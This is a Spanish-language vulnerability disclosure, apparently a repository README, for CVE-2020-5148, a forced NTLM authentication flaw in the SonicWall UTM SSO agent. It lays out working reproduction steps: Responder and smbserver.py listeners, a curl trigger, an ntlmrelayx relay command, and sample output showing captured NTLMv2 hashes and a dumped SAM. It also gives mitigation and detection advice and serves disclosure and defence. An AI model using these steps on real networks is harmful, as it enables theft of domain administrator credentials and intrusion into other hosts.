CVE-2020-5148

Autenticación forzada en el agente SSO de SonicWall UTM

El agente SSO de SonicWall identifica al usuario detrás de una dirección IP dada sondeando esa estación de trabajo con NetAPI (el método predeterminado) o WMI. No valida la estación de trabajo antes de iniciar la autenticación NTLM, y continúa consultando la misma dirección durante toda la sesión.

Debido a que el servicio del agente SSO requiere derechos administrativos en cada estación de trabajo y servidor que sondea, en la práctica se implementa como Administrador de Dominio. Cualquier parte no autenticada que pueda enrutar tráfico web a través del appliance UTM puede, por tanto, hacer que una cuenta de Administrador de Dominio se autentique contra un host de su elección, y capturar o retransmitir esa autenticación.

Publicado como CVE-2020-5148, aviso del fabricante SNWLID-2021-0003.

Descubierto y notificado por Sedric Louissaint de Show Up Show Out Security.

Resumen

Descripción de NVD:

La configuración predeterminada del agente SSO de SonicWall usa NetAPI para sondear las IP asociadas en la red; este método de sondeo del cliente permite que un posible atacante capture el hash de la contraseña

Detalle técnico

El flujo previsto y los dos pasos que omite

1. El tráfico del usuario llega al appliance UTM de SonicWALL.
2. El appliance envía la IP del usuario al agente SSO como una "solicitud de nombre de usuario". Los paquetes bloqueados se retienen.
3. El agente SSO responde con el nombre de usuario que inició sesión en esa estación de trabajo.
4. LDAP o la base de datos local resuelve la pertenencia a grupos.
5. Se aplica la política y el tráfico retenido se libera.
6. El appliance sigue consultando al agente SSO para confirmar que el mismo usuario sigue conectado.

Las anotaciones marcan lo que el diagrama del fabricante omite:

• Paso 2.5 El agente SSO debe autenticarse contra la estación de trabajo antes de poder consultarla. Eso es un handshake NTLM saliente, hacia una dirección proporcionada por quien haya generado el tráfico, sin validación previa de esa dirección.
• Paso 5.5 El agente repite esa autenticación en cada consulta, durante toda la sesión. El intervalo de consulta es configurable en la GUI.

Contexto de privilegios

El servicio del agente SSO requiere derechos de administrador en todas las estaciones de trabajo y servidores asociados para poder realizar la consulta. En prácticamente todos los despliegues, esto significa que la cuenta de servicio es Administrador de Dominio.

La credencial que se entrega a un host no validado es, por tanto, la cuenta con mayores privilegios del directorio.

Cómo activarlo

No hay código de explotación. Cualquier solicitud web saliente desde un segmento que el appliance gestione es suficiente:

curl sonicwall.com

La URL es irrelevante y la solicitud no necesita tener éxito. El appliance observa tráfico desde una IP no reconocida, pide al agente SSO que identifique al usuario allí, y el agente se autentica contra esa IP.

Captura de la credencial

Con Responder o smbserver.py en modo escucha, la autenticación NTLMv2 del agente llega sin que se le solicite, y sigue llegando debido al comportamiento de sondeo:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Retransmisión

Descifrar el hash es opcional. Cuando no se aplica la firma SMB, la autenticación puede retransmitirse en vivo a un host diferente, que entonces trata la conexión como la cuenta privilegiada que aparenta ser:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

La autenticación se desencadena mediante una solicitud web no autenticada y se consume en una máquina completamente distinta, lo que constituye la omisión completa de la ACL descrita en el aviso.

Reproducción

En un laboratorio que poseas o estés autorizado a probar, con un appliance UTM configurado para SSO y el agente SSO usando el método de sondeo de clientes NetAPI predeterminado:

1. Inicia un listener en un host dentro de un segmento que el appliance gestione:
   root@kitploit:~

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. Desde ese mismo host, genera cualquier tráfico web saliente a través del appliance:
   root@kitploit:~

   curl sonicwall.com
   

3. Una configuración vulnerable produce una autenticación NTLMv2 entrante desde la cuenta de servicio del agente SSO en cuestión de segundos. Espera y se repite, debido al sondeo.
4. Opcionalmente, retransmite en lugar de capturar, contra un host con la firma SMB deshabilitada:
   root@kitploit:~

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

Secuencia completa de comandos en poc/repro.sh.

Contenido del repositorio

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Los nombres de usuario, hashes y direcciones internas de las capturas están redactados o proceden del laboratorio original.

Mitigación

1. Cambia el sondeo de clientes de NetAPI a WMI. Esta es la solución documentada por el fabricante y el cambio significativo más rápido.
2. No ejecutes el agente SSO con una cuenta que pueda iniciar sesión en cualquier lugar. No permitas que administrator inicie sesión a través del servicio del agente SSO, el DC, el servidor Exchange o el servidor de terminales. Cuando la cuenta deba seguir siendo privilegiada, usa una contraseña lo bastante larga como para que el descifrado offline no sea realista, veinte caracteres o más, y que nunca se reutilice.
3. Actualiza el Conector de Servicios de Directorio. NVD registra la corrección en 4.1.19. Ten en cuenta que, en las pruebas del investigador, 4.1.19 y posteriores todavía mostraban el comportamiento de sondeo subyacente y mostraban una advertencia en lugar de eliminarlo. Una advertencia no es un control, así que trata el cambio a WMI y el endurecimiento de la cuenta como la mitigación real.
4. Aplica la firma SMB en todo el entorno. Esto no evita que la credencial sea capturada, pero elimina la retransmisión como opción.
5. Considera la Protección Extendida para Autenticación en los servicios que la admitan, y restringe el SMB saliente en el perímetro.
6. Detéctalo. Los intentos de autenticación desde la cuenta de servicio del agente SSO hacia hosts que no son estaciones de trabajo administradas son un evento de alta señal. También lo es que esa cuenta se autentique contra una dirección que nunca ha aparecido en el inventario.

Cronología

Informes

• Cuenta personal: https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
• Show Up Show Out Security: https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

Descargo de responsabilidad

Publicado después de la divulgación al fabricante, para uso defensivo y educativo. Aquí no hay código de explotación porque no se necesita ninguno, que es el punto del hallazgo. No ejecutes estos comandos contra redes que no poseas o para las que no tengas autorización escrita de prueba.